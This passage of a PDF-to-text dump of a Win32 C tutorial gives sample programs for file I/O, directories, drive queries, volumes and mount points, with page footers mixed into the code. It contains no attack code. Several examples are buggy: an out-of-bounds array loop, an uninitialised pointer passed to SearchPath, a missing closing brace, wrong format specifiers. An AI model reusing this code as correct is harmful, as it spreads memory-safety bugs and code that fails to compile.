if(ReadFile(hFile, buffer, 2048, &dwBytesRead, NULL))
{
CharUpperBuff(buffer, dwBytesRead);
WriteFile(hTempFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
}
} while (dwBytesRead == 2048);

//Close both files' handles.


if(CloseHandle(hFile) != 0)
printf("%s handle closed successfully.\n", fname);
if(CloseHandle(hTempFile) != 0)
printf("%s handle closed successfully.\n", szTempName);

file:///C|/Tutorial.txt (674 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Move the temporary file to the new text file


if(!MoveFile(szTempName, "c:\\newfile.txt"))
printf("Could not move %s temp file.\n", szTempName);
else
printf("%s temp file moved successfully.\n", szTempName);
return 0;
}

------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwAttrs;
char szDirPath[] = "G:\\newdir\\";
char szNewPath[MAX_PATH];
BOOL fFinished = FALSE;

//Create a new directory. If something wrong


if(!CreateDirectory(szDirPath, NULL))
{
printf("Could not create %s directory.\n", szDirPath);
//just exit
exit (0);
}
else
printf("%s directory successfully created.\n", szDirPath);

//Start searching for .txt files in the current directory.


//Failed when tested with a path...need to change the current working
//directory???
hSearch = FindFirstFile("*.txt", &FileData);
if(hSearch == INVALID_HANDLE_VALUE)
{
printf("No .txt files found lol.\n");
//just exit
exit (0);
}

//Copy each .txt file to the new directory


//and change it to read only, if not already.
while(!fFinished)
{ //Copies a string in szDirPath to szNewPath buffer...
lstrcpy(szNewPath, szDirPath);
//Appends the filename to the path...
lstrcat(szNewPath, FileData.cFileName);

//In the buffer, do the file copy...


if(CopyFile(FileData.cFileName, szNewPath, FALSE))
{
printf("%s file successfully copied.\n", FileData.cFileName);
//And gets the file attribute...

file:///C|/Tutorial.txt (675 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

dwAttrs = GetFileAttributes(FileData.cFileName);
//Change to read only where applicable...
if(!(dwAttrs & FILE_ATTRIBUTE_READONLY))
SetFileAttributes(szNewPath, dwAttrs | FILE_ATTRIBUTE_READONLY);
}
else
printf("Could not copy %s file.\n", FileData.cFileName);

if(!FindNextFile(hSearch, &FileData))
{
if(GetLastError() == ERROR_NO_MORE_FILES)
{
printf("No more file lol!\n");
fFinished = TRUE;
}
else
printf("Could not find next file.\n");
}
}
//Close the search handle.
FindClose(hSearch);
return 0;
}

------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

char lpBuffer[500];
LPSTR *lpFilePart;

int main(int argc, char *argv[])


{
//If not enough arguments supplied
if(argc != 3)
{
printf("Usage: %s <path> <filename.ext>\n", argv[0]);
exit (1);
}

DWORD test = SearchPath(


argv[1],
argv[2],
NULL,
500,
lpBuffer,
lpFilePart
);
//if something wrong to the SearchPath()
if(!test)
{
printf("%s file not found!\n", argv[2]);
exit (1);
}
//Display the result...

file:///C|/Tutorial.txt (676 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
{
printf("The return value is: %d, error: %d\n", test, GetLastError());
printf("The path is %s\n", lpBuffer);
printf("The path is %p\n", lpFilePart);
}
return 0;
}

------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
//handle for file
HANDLE hFile;
DWORD lpBinaryType[100];

//file and path


char fname[20] = "c:\\test.doc";
char fname2[30] = "c:\\windows\\NOTEPAD.EXE";

hFile = CreateFile(fname, //file to be opened


GENERIC_READ, //open for reading
FILE_SHARE_READ, //share for reading
NULL, //default security
OPEN_EXISTING, //open existing file
FILE_ATTRIBUTE_READONLY, //the file is read only
NULL); //no attribute template

if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());

printf("File's HANDLE is OK!\n");

if(GetFileType(hFile) == 0)
printf("The %s file is character type.\n", fname);
else if (GetFileType(hFile) == 1)
printf("The %s file is disk file.\n", fname);
else if (GetFileType(hFile) == 2)
printf("The %s file is socket or named pipe.\n", fname);
else if (GetFileType(hFile) == 4)
printf("The %s file is UNKNOWN type or GetFileType() failed!\n", fname);
CloseHandle(hFile);

if(GetBinaryType(fname2, lpBinaryType) != 0)
printf("The %s file is executable.\n", fname2);
else
printf("The %s is file non-executable.\n", fname2);
return 0;
}

------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (677 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <windows.h>
#include <stdio.h>

int main()
{
//the files' handles
HANDLE hFile, hFile1;
//filenames...
char fname[] = "c:\\test.doc";
char fname1[] = "c:\\txtcodes\\module11.txt";
//temporary storage for file sizes
DWORD dwFileSize;
DWORD dwFileType;

//Create the test file. Open it "Create Always" to overwrite any


//existing file...
hFile = CreateFile(fname, GENERIC_READ | GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if(hFile == INVALID_HANDLE_VALUE)
{
printf("hFile is NULL\n");
printf("Could not create %s\n", fname);
//return error
return 4;
}
//Get the file type...
dwFileType = GetFileType(hFile);
//Verify that the correct file size was written.
dwFileSize = GetFileSize(hFile, NULL);
printf("%s size is %d bytes and file type is %d\n", fname, dwFileSize, dwFileType);
CloseHandle(hFile); //close the file handle and the file itself

//Opening the existing file


hFile1 = CreateFile(fname1, // file to open
GENERIC_READ, // open for reading
FILE_SHARE_READ, // share for reading
NULL, // default security
OPEN_EXISTING, // existing file only
FILE_ATTRIBUTE_NORMAL,// normal file
NULL); // no attribute template

if(hFile1 == INVALID_HANDLE_VALUE)
{
printf("Could not open %s file, error %d\n", fname1, GetLastError());
return 1;
}
dwFileType = GetFileType(hFile1);
dwFileSize = GetFileSize(hFile1, NULL);
printf("%s size is %d bytes and file type is %d\n", fname1, dwFileSize, dwFileType);
//close the file's handle and itself
CloseHandle(hFile1);
return 0;
}

==============================ModuleE=====================================

file:///C|/Tutorial.txt (678 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

#include <windows.h>
#include <stdio.h>

int main()
{
//the files handle
HANDLE hFile1;
FILETIME ftCreate, ftAccess, ftWrite;
SYSTEMTIME stUTC, stLocal, stUTC1, stLocal1, stUTC2, stLocal2;

//filename
char fname1[] = "c:\\testfile.txt";
//temporary storage for file sizes
DWORD dwFileSize;
DWORD dwFileType;

//Opening the existing file


hFile1 = CreateFile(fname1, //file to open
GENERIC_READ, //open for reading
FILE_SHARE_READ, //share for reading
NULL, //default security
OPEN_EXISTING, //existing file only
FILE_ATTRIBUTE_NORMAL, //normal file
NULL); //no attribute template

if(hFile1 == INVALID_HANDLE_VALUE)
{
printf("Could not open %s file, error %d\n", fname1, GetLastError());
return 4;
}
dwFileType = GetFileType(hFile1);
dwFileSize = GetFileSize(hFile1, NULL);
printf("%s size is %d bytes and file type is %d\n", fname1, dwFileSize, dwFileType);

//Retrieve the file times for the file.


if(!GetFileTime(hFile1, &ftCreate, &ftAccess, &ftWrite))
{
printf("Something wrong lol!\n");
return FALSE;

file:///C|/Tutorial.txt (679 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Convert the created time to local time.


FileTimeToSystemTime(&ftCreate, &stUTC);
SystemTimeToTzSpecificLocalTime(NULL, &stUTC, &stLocal);

//Convert the last-access time to local time.


FileTimeToSystemTime(&ftAccess, &stUTC1);
SystemTimeToTzSpecificLocalTime(NULL, &stUTC1, &stLocal1);

//Convert the last-write time to local time.


FileTimeToSystemTime(&ftWrite, &stUTC2);
SystemTimeToTzSpecificLocalTime(NULL, &stUTC2, &stLocal2);

//Build a string showing the date and time.


printf("Created on: %02d/%02d/%d %02d:%02d\n", stLocal.wDay, stLocal.wMonth,
stLocal.wYear, stLocal.wHour, stLocal.wMinute);

printf("Last accessed: %02d/%02d/%d %02d:%02d\n", stLocal1.wDay, stLocal1.wMonth,


stLocal1.wYear, stLocal1.wHour, stLocal1.wMinute);

printf("Last written: %02d/%02d/%d %02d:%02d\n", stLocal2.wDay, stLocal2.wMonth,


stLocal2.wYear, stLocal2.wHour, stLocal2.wMinute);
//close the file's handle and itself
CloseHandle(hFile1);
return 0;
}

---------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
//the files handle
HANDLE hFile1;
//FILETIME is another name for struct _FILETIME structure (a typedef)
FILETIME ftCreate;
//SYSTEMTIME is another name for struct _SYSTEMTIME structure (a typedef)
SYSTEMTIME stUTC, stLocal;

//filename
char fname1[] = "c:\\testfile.txt";

//Opening the existing file


hFile1 = CreateFile(fname1, //file to open
GENERIC_READ, //open for reading
FILE_SHARE_READ, //share for reading
NULL, //default security
OPEN_EXISTING, //existing file only
FILE_ATTRIBUTE_NORMAL, //normal file
NULL); //no attribute template

if(hFile1 == INVALID_HANDLE_VALUE)
{

file:///C|/Tutorial.txt (680 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("Could not open %s file, error %ul\n", fname1, GetLastError());


return 4;
}

//Retrieve created file times for the file.


if(!GetFileTime(hFile1, &ftCreate, NULL, NULL))
{
printf("Something wrong!\n");
return FALSE;
}

//Viewing the unreadable...


//Filing the 32 bit low part into variable low and
//another 32 bit high part into variable high
//Accessing the FILETIME structures' members, assigning them
//to some variables...
DWORD low = ftCreate.dwLowDateTime;
DWORD high = ftCreate.dwHighDateTime;

//Trying to display the content in hex...


printf("Unreadable format...\n");
printf("32 bit low part = %0X and high = %0X\n", low, high);

//Convert the file created time to local time.


FileTimeToSystemTime(&ftCreate, &stUTC);
SystemTimeToTzSpecificLocalTime(NULL, &stUTC, &stLocal);

printf("\nReadable format...\n");
//Build a readable string showing the date and time.
//Accessing the SYSTEMTIME structure's member
printf("UTC System Time\n");
printf("Created on: %02d/%02d/%d %02d:%02d\n", stUTC.wDay, stUTC.wMonth,
stUTC.wYear, stUTC.wHour, stUTC.wMinute);

//Accessing the SYSTEMTIME structures' members


printf("Local time\n");
printf("Created on: %02d/%02d/%d %02d:%02d\n", stLocal.wDay, stLocal.wMonth,
stLocal.wYear, stLocal.wHour, stLocal.wMinute);

//close the file's handle and itself


CloseHandle(hFile1);
return 0;
}

---------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
//handle for file
HANDLE hFile;
DWORD dwCurrentFilePosition;

//file and path

file:///C|/Tutorial.txt (681 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

char fname[20] = "c:\\module15.txt";

hFile = CreateFile(fname, //file to be opened


GENERIC_WRITE, //open for writing
FILE_SHARE_READ, //share for reading
NULL, //default security
OPEN_EXISTING, //open existing file
FILE_ATTRIBUTE_READONLY, //the file is read only
NULL); //no attribute template

if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());

printf("File's HANDLE is OK!\n");

dwCurrentFilePosition = SetFilePointer(
hFile, //must have GENERIC_READ and/or GENERIC_WRITE
0, //do not move pointer
NULL, //hFile is not large enough to need this pointer
FILE_CURRENT); //provides offset from current position

printf("Current file pointer position: %d\n", dwCurrentFilePosition);


dwCurrentFilePosition = SetFilePointer(
hFile, //must have GENERIC_READ and/or GENERIC_WRITE
10, //10 bytes
NULL, //hFile is not large enough to need this pointer
FILE_CURRENT); //provides offset from current position
printf("Current file pointer position: %d\n", dwCurrentFilePosition);
return 0;
}

---------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hFile;
HANDLE hAppend;
DWORD dwBytesRead, dwBytesWritten, dwPos;
char fname[30] = "c:\\testfile.txt";
char fname2[30] = "c:\\testfiletwo.txt";
char buff[4096];

//Open the existing file.


hFile = CreateFile(fname, //open testfile.txt
GENERIC_READ, //open for reading
0, //do not share
NULL, //default security
OPEN_EXISTING, //existing file only
FILE_ATTRIBUTE_NORMAL, //normal file
NULL); //no attribute template

if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s lol!.\n", fname);

file:///C|/Tutorial.txt (682 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("%s opened successfully.\n", fname);
//Open the existing file, or if the file does not exist,
//create a new file.
hAppend = CreateFile(fname2, //open testfiletwo.txt
GENERIC_WRITE, //open for writing
0, //do not share
NULL, //default security
OPEN_ALWAYS, //open or create
FILE_ATTRIBUTE_NORMAL, //normal file
NULL); //no attribute template

if(hAppend == INVALID_HANDLE_VALUE)
printf("Could not open %s lol!.\n", fname2);
else
{
printf("%s opened/created successfully.\n", fname2);
printf("\nAppending %s\'s content to %s\'s content\n", fname, fname2);
printf("Check the %s content lol!\n\n", fname2);
}

//Append the first file to the end of the second file.


//Lock the second file to prevent another process from
//accessing it while writing to it. Unlock the
//file when writing is finished.
do
{
if(ReadFile(hFile, buff, 4096, &dwBytesRead, NULL))
{
dwPos = SetFilePointer(hAppend, 0, NULL, FILE_END);
if(LockFile(hAppend, dwPos, 0, dwBytesRead, 0) != 0)
printf("Locking %s...\n", fname2);
WriteFile(hAppend, buff, dwBytesRead, &dwBytesWritten, NULL);
if(UnlockFile(hAppend, dwPos, 0, dwBytesRead, 0) != 0)
printf("Unlocking %s...\n", fname2);
}
} while (dwBytesRead == 4096);

//Close both files.


if(CloseHandle(hFile) != 0)
printf("\nFile handle closed successfully!\n");
if(CloseHandle(hAppend) != 0)
printf("File's append handle closed successfully!\n");
return 0;
}

---------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
char szDirPath[20] = "c:\\testdir";
HANDLE hFile;
char fname[50] = "c:\\testdir\\testfile.txt";

file:///C|/Tutorial.txt (683 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Create a new directory.


if(!CreateDirectory(szDirPath, NULL))
printf("Couldn't create %s directory.\n", szDirPath);
else
printf("%s directory successfully created.\n", szDirPath);

//Create a file
hFile = CreateFile(fname, //file to be opened
GENERIC_READ, //open for writing
FILE_SHARE_READ, //share for writing
NULL, //default security
CREATE_ALWAYS, //create new file only
FILE_ATTRIBUTE_ARCHIVE | SECURITY_IMPERSONATION,
//archive and impersonate client
NULL); //no attribute template

//Check the handle, then open...


if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file (error %d)\n", fname, GetLastError());
else
{
printf("%s file HANDLE is OK!\n", fname);
printf("%s opened successfully!\n", fname);
}

//Close the handle...


if(CloseHandle(hFile) != 0)
printf("CloseHandle() for %s file succeeded!\n", fname);

if(DeleteFile(fname) != 0)
printf("%s file successfully deleted!\n", fname);

//Delete the directory...


if(RemoveDirectory(szDirPath) != 0)
printf("%s directory successfully deleted.\n", szDirPath);

return 0;
}

---------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#define BUFFER_SIZE 200

int main()
{
TCHAR infoBuf[BUFFER_SIZE];
TCHAR lpPathName[200] = "D:\\Program Files\\Microsoft sql server";

//Get the current working directory


if(!GetCurrentDirectory(BUFFER_SIZE, infoBuf))
printf("GetCurrentDirectory() failed!\n");
printf("Your current directory is: %s\n", infoBuf);
printf("Changing directory...\n");

file:///C|/Tutorial.txt (684 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Set to current working directory


if(!SetCurrentDirectory(lpPathName))
printf("SetCurrentDirectory() failed!\n");

//Do some verification...


if(!GetCurrentDirectory(BUFFER_SIZE, infoBuf))
printf("GetCurrentDirectory() failed!\n");
printf("Your current directory is: %s\n", infoBuf);

//Get and display the Windows directory.


if(!GetWindowsDirectory(infoBuf, BUFFER_SIZE))
printf("GetWindowsDirectory() failed!\n");
printf("Your Windows directory is: %s\n", infoBuf);

//Get and display the system directory.


if(!GetSystemDirectory(infoBuf, BUFFER_SIZE))
printf("GetSystemDirectory() failed!\n");
printf("Your system directory is: %s\n", infoBuf);

return 0;
}

==============================ModuleF=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

#include <windows.h>
#include <stdio.h>

//Using two dimensional arrays to store the drive strings


//Better try other ways such as using TCHAR etc...
char drive2[13][5] = {"A:\\", "B:\\", "C:\\", "D:\\", "E:\\", "F:\\", "G:\\", "H:\\","I:\\", "J:\\", "K:\\", "L:\\"};

int main()
{
for(int i=0; i<12; i++)
{
UINT test = GetDriveType(drive2[i]);
switch(test)

file:///C|/Tutorial.txt (685 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
case 0: printf("Drive %s is type %d - Cannot be determined.\n", &drive2[i], test);
break;
case 1: printf("Drive %s is type %d - Invalid root path/Not available.\n",
&drive2[i], test);
break;
case 2: printf("Drive %s is type %d - Removable.\n", &drive2[i], test);
break;
case 3: printf("Drive %s is type %d - Fixed.\n", &drive2[i], test);
break;
case 4: printf("Drive %s is type %d - Network.\n", &drive2[i], test);
break;
case 5: printf("Drive %s is type %d - CD-ROM.\n", &drive2[i], test);
break;
case 6: printf("Drive %s is type %d - RAMDISK.\n", &drive2[i], test);
break;
default : "Unknown value!\n";
}
}
return 0;
}

----------------------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <direct.h>
#include <stdio.h>
#include <tchar.h>

//initial value
TCHAR szDrive[] = _T(" A:");

int main()
{
DWORD uDriveMask = GetLogicalDrives();

printf("The bitmask of the logical drives in hex: %0X\n", uDriveMask);


printf("The bitmask of the logical drives in decimal: %d\n", uDriveMask);

if(uDriveMask == 0)
printf("GetLogicalDrives() failed with failure code: %d\n", GetLastError());
else
{
printf("This machine has the following logical drives:\n");

while(uDriveMask)
{//Use the bitwise AND, 1–available, 0-not available
if(uDriveMask & 1)
printf(szDrive);
//increment...
++szDrive[1];
//shift the bitmask binary right
uDriveMask >>= 1;
}
printf("\n ");
}

file:///C|/Tutorial.txt (686 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return 0;
}

----------------------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

//Buffer length
DWORD mydrives = 100;
//Buffer for drive string storage
char lpBuffer[100];

int main()
{
DWORD test = GetLogicalDriveStrings(
mydrives,
lpBuffer
);
printf("GetLogicalDriveStrings() return value: %d\nError: %d \n", test, GetLastError());
printf("The logical drives of this machine are:\n");
for(int i = 0; i<100; i++)
printf("%c", lpBuffer[i]);
printf("\n");
return 0;
}

----------------------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

//Query these on my machine


//L: is thumb drive, J: and K: are CD-ROMs
char lpDeviceName[11][3] = {"A:", "C:", "D:", "E:", "F:", "G:", "H:","I:", "J:", "K:", "L:"};
//The buffer for storage
char lpTargetPath[1000];

int main()
{
for(int i=0; i<13; i++)
{
//Using NULL for the parameter 1 is not working lol...
DWORD test = QueryDosDevice(lpDeviceName[i], lpTargetPath, 1000);
//Test the return value and error if any
printf("\nQueryDosDevice() return value: %d, Error: %d\n", test,
GetLastError());
printf("The DOS device for %s is:\n", lpDeviceName[i]);
//Display the result
for(int i = 0; i<35; i++)
printf("%c", lpTargetPath[i]);
}
printf("\n");
return 0;
}

file:///C|/Tutorial.txt (687 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
char pszDrive[10] = "C:\\";
//64 bits integer
__int64 lpFreeBytesAvailable, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes;
DWORD dwSectPerClust, dwBytesPerSect, dwFreeClusters, dwTotalClusters;

BOOL test = GetDiskFreeSpaceEx(


pszDrive,
(PULARGE_INTEGER)&lpFreeBytesAvailable,
(PULARGE_INTEGER)&lpTotalNumberOfBytes,
(PULARGE_INTEGER)&lpTotalNumberOfFreeBytes
);

printf("Drive to be checked: %s\n", pszDrive);


printf("\nUsing GetDiskFreeSpaceEx()...\n");
//Check the return value
printf("The return value: %d, error code: %d\n", test, GetLastError());
printf("Total number of free bytes available for user-caller: %ul\n",
lpFreeBytesAvailable);
printf("Total number of bytes available for user: %ul\n", lpTotalNumberOfBytes);
//Just straight to the free bytes result
printf("Total number of free bytes on disk: %ul\n", lpTotalNumberOfFreeBytes);

BOOL fResult = GetDiskFreeSpace(pszDrive,


&dwSectPerClust,
&dwBytesPerSect,
&dwFreeClusters,
&dwTotalClusters);

printf("\nUsing GetDiskFreeSpace()...\n");
printf("The return value: %d, error code: %d\n", fResult, GetLastError());
printf("Sector per cluster = %ul\n", dwSectPerClust);
printf("Bytes per sector = %ul\n", dwBytesPerSect);
printf("Free cluster = %ul\n", dwFreeClusters);
printf("Total cluster = %ul\n", dwTotalClusters);
//Using GetDiskFreeSpace() need some calculation for the
//free bytes on disk
printf("Total free bytes = %ul\n", (dwFreeClusters*dwSectPerClust*dwBytesPerSect));

return 0;
}

----------------------------------------------------------------------------------------------------------------------

//For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE MAX_PATH
#define FILESYSNAMEBUFSIZE MAX_PATH

file:///C|/Tutorial.txt (688 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
char buf[BUFSIZE]; //buffer for unique volume identifiers
DWORD lpMaximumComponentLength;
DWORD dwSysFlags; //flags that describe the file system
char FileSysNameBuf[FILESYSNAMEBUFSIZE];

//handle for the volume search


HANDLE hVol;
//Open a scan for volumes.
hVol = FindFirstVolume(buf, BUFSIZE);

if(hVol == INVALID_HANDLE_VALUE)
{
printf ("No volumes found!\n");
return (-1);
}

BOOL test = GetVolumeInformation(


buf,
NULL,
BUFSIZE,
NULL,
&lpMaximumComponentLength,
&dwSysFlags,
FileSysNameBuf,
FILESYSNAMEBUFSIZE
);

printf("The return value: %d\n", test);


printf("The first volume found: %s\n", buf);
printf("The buffer for volume name: %d\n", BUFSIZE);
printf("The max component length: %d\n", lpMaximumComponentLength);
printf("The file system flag: %d\n", dwSysFlags);
printf("The file system: %s\n", FileSysNameBuf);
printf("The buffer for file system name: %d\n", FILESYSNAMEBUFSIZE);
CloseHandle(hVol);
return 0;
}

----------------------------------------------------------------------------------------------------------------------

//For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE MAX_PATH
#define FILESYSNAMEBUFSIZE MAX_PATH

BOOL ProcessVolume(HANDLE hVol, char *Buf, int iBufSize)


{
DWORD lpMaximumComponentLength;
DWORD dwSysFlags; //flags that describe the file system
char FileSysNameBuf[FILESYSNAMEBUFSIZE];
BOOL bFlag; //generic results flag

file:///C|/Tutorial.txt (689 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

GetVolumeInformation(
Buf,
NULL,
BUFSIZE,
NULL,
&lpMaximumComponentLength,
&dwSysFlags,
FileSysNameBuf,
FILESYSNAMEBUFSIZE
);
////////----------caution--------------///////
//For file system, in order the removal drives such as floppy
//and CD-ROM to be recognized, you must insert the media...
printf("The volume found: %s\n", Buf);
printf("The buffer for volume name: %d\n", BUFSIZE);
printf("The max component length: %d\n", lpMaximumComponentLength);
printf("The file system flag: %d\n", dwSysFlags);
printf("The file system: %s\n", FileSysNameBuf);
printf("The buffer for file system name: %d\n\n", FILESYSNAMEBUFSIZE);

bFlag = FindNextVolume(
hVol, //handle to search being conducted
Buf, //pointer to output
iBufSize //size of output buffer
);
return (bFlag);
}

int main()
{
char buf[BUFSIZE]; //buffer for unique volume identifiers
HANDLE hVol; //handle for the volume scan
BOOL bFlag;
//Open a search for volumes.
hVol = FindFirstVolume(buf, BUFSIZE);

if(hVol == INVALID_HANDLE_VALUE)
{
printf("No volumes found!\n");
return (-1);
}

bFlag = ProcessVolume(hVol, buf, BUFSIZE);

//Do while we have volumes to process.


while(bFlag)
{
bFlag = ProcessVolume(hVol, buf, BUFSIZE);
}

//Close out the volume search


//and close the handle
bFlag = FindVolumeClose(hVol);

return 0;

file:///C|/Tutorial.txt (690 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------------------------------------------

//For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define Bufsize MAX_PATH
#define FILESYSNAMEBufsize MAX_PATH

//Process each mount point found here.


//The result indicates whether there is
//another mount point to be searched.
//This routine prints out the path to a mount point and its target.
BOOL ProcessVolumeMountPoint(HANDLE hPt, char *PtBuffer, DWORD dwPtBufsize,
char *Buffer, DWORD dwBufsize)
{
BOOL bFlag; //Boolean result
char Path[Bufsize]; //construct a complete path here
char Target[Bufsize]; //target of mount at mount point

printf("Volume mount point found is \"%s\"\n", PtBuffer);

//Detect the volume mounted there.


//Build a unique path to the mount point
strcpy(Path, Buffer);
strcat(Path, PtBuffer);

bFlag = GetVolumeNameForVolumeMountPoint(
Path, //input volume mount point or directory
Target, //output volume name buffer
Bufsize //size of volume name buffer
);

if(!bFlag)
printf("Attempt to get volume name for %s failed.\n", Path);
else
printf("Target of the volume mount point is %s.\n\n", Target);

//Now, either get the next mount point and return it, or return a
//value indicating there are no more mount points.
bFlag = FindNextVolumeMountPoint(
hPt, //handle to scan
PtBuffer, //pointer to output string
dwPtBufsize //size of output buffer
);
return (bFlag);
}

//Process each volume. The Boolean result


//indicates whether there is another
//volume to be searched.
BOOL ProcessVolume(HANDLE hVol, char *Buffer, int iBufsize)
{
BOOL bFlag; //generic results flag for return

file:///C|/Tutorial.txt (691 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

HANDLE hPt; //handle for mount point scan


char PtBuffer[Bufsize]; //string buffer for mount points
DWORD dwSysFlags; //flags that describe the file system
char FileSysNameBuffer[FILESYSNAMEBufsize];

printf("Volume found is \"%s\".\n", Buffer);

//Is this volume NTFS or other?


GetVolumeInformation(Buffer, NULL, 0, NULL, NULL,
&dwSysFlags, FileSysNameBuffer,
FILESYSNAMEBufsize);

////////----------caution--------------///////
//For file system, in order the removal drives such as floppy
//and CD-ROM to be recognized, you must insert the media...
printf("The file system is %s\n", FileSysNameBuffer);

//Detect support for reparse points, and therefore for volume


//mount points, which are implemented using reparse points.
if(!(dwSysFlags & FILE_SUPPORTS_REPARSE_POINTS))
{
printf("This file system does not support volume mount points.\n\n");
}
else
{
//Start processing mount points on this volume.
hPt = FindFirstVolumeMountPoint(
Buffer, //root path of volume to be scanned
PtBuffer, //pointer to output string
Bufsize //size of output buffer
);

if(hPt == INVALID_HANDLE_VALUE)
{printf("No volume mount points found!\n\n");}
else
{
//Process the volume mount point.
bFlag = ProcessVolumeMountPoint(hPt, PtBuffer, Bufsize, Buffer, Bufsize);

//Do while we have volume mount points to process.


while (bFlag)
bFlag = ProcessVolumeMountPoint(hPt, PtBuffer, Bufsize, Buffer, Bufsize);

FindVolumeMountPointClose(hPt);
}
}

//Stop processing mount points on this volume.


bFlag = FindNextVolume(
hVol, //handle to scan being conducted
Buffer, //pointer to output
iBufsize //size of output buffer
);

return (bFlag);
}

file:///C|/Tutorial.txt (692 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
char Buffer[Bufsize]; //Buffer for unique volume identifiers
HANDLE hVol; //handle for the volume scan
BOOL bFlag; //generic results flag

//Open a search for volumes.


hVol = FindFirstVolume(Buffer, Bufsize);

if(hVol == INVALID_HANDLE_VALUE)
{
printf("No volumes found!\n");
return (-1);
}
bFlag = ProcessVolume(hVol, Buffer, Bufsize);

//Do while we have volumes to process.


while(bFlag)
{bFlag = ProcessVolume(hVol, Buffer, Bufsize);}

//Close out the volume scan.


//handle to be closed
bFlag = FindVolumeClose(hVol);
return (bFlag);
}

----------------------------------------------------------------------------------------------------------------------

//*********mymount.cpp************
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE MAX_PATH

int main(int argc, char *argv[])


{
BOOL bFlag;
//temporary buffer for volume name
char Buf[BUFSIZE];

//If not enough arguments supplied...


//for this example you have to create the mount point first
if(argc != 3)
{
printf("\"%s\" command mounts a volume at a mount point.\n", argv[0]);
printf("Usage: %s <mount point> <volume to be mounted>\n", argv[0]);
printf("And make sure the <mount point> exists!!!\n", argv[0]);
printf("Example: \"%s c:\\mymnt\\gdrive\\ g:\\\"\n", argv[0]);
//Just exit
return(-1);
}

//Some verification, check the inputs validity


bFlag = GetVolumeNameForVolumeMountPoint(
argv[2], //input volume mount point or directory

file:///C|/Tutorial.txt (693 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

Buf, //output volume name buffer


BUFSIZE //size of volume name buffer
);

if(bFlag != TRUE)
{
printf("Retrieving volume name for %s failed.\n", argv[2]);
//Just exit
return (-2);
}

printf("Volume name of %s is %s\n", argv[2], Buf);


bFlag = SetVolumeMountPoint(
argv[1], //mount point
Buf //volume to be mounted
);

//Another verification, error checking


if(!bFlag)
printf("Attempt to mount %s at %s failed.\n", argv[2], argv[1]);
else
{
printf("%s is successfully mounted at %s\n", argv[2], argv[1]);

